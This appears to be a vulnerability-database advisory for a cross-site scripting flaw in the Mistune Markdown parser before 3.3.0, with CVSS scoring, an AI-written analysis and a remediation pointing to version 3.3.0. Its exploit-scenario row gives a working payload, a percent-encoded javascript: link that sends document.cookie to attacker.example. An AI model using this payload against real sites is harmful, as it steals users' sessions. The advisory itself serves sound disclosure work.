EUVD-2026-42331Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-reachable with no privileges; UI:R because victim must interact with link; S:C because script executes in victim browser context separate from server.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, HTMLRenderer.safe_url() does not block percent-encoded javascript URIs, allowing attacker-supplied Markdown links or images to bypass URL protections and execute script in rendered HTML. This issue is fixed in version 3.3.0.
AnalysisAI
Cross-site scripting in Mistune Python Markdown parser (all versions before 3.3.0) allows attacker-controlled Markdown content containing percent-encoded javascript: URIs to bypass the HTMLRenderer.safe_url() URL sanitization filter and execute arbitrary script in victim browsers. The bypass works because safe_url() checks the raw string without first decoding percent-encoded characters, so schemes like %6Aavascript: or %6aVaScRiPt: evade detection while remaining valid to browsers. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target application uses Mistune's HTMLRenderer to render attacker-influenced Markdown and serves the resulting HTML to other users' browsers. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N yields a 6.1 Medium score, which accurately reflects the attack surface: network-reachable with no privileges required and low complexity, but gated on user interaction (UI:R). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a Markdown comment on a web platform using Mistune, embedding a crafted link such as [click here](%6Aavascript:document.location='https://attacker.example/steal?c='+document.cookie). Mistune's safe_url() passes the percent-encoded scheme without blocking it, and the rendered HTML contains a javascript: href. … |
| Remediation | Upgrade Mistune to version 3.3.0, which is the vendor-released patch per the GitHub release at https://github.com/lepture/mistune/releases/tag/v3.3.0 and the corresponding fix commit at https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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